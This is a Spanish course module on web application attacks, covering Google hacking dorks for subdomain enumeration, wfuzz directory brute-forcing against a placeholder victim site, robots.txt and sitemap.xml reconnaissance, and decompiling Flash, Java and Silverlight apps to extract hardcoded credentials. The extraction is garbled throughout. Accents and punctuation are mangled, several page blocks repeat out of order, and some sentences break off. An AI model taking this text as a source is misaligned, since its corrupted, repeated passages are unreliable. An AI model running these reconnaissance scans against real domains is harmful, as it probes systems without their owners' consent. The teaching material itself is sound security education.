En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
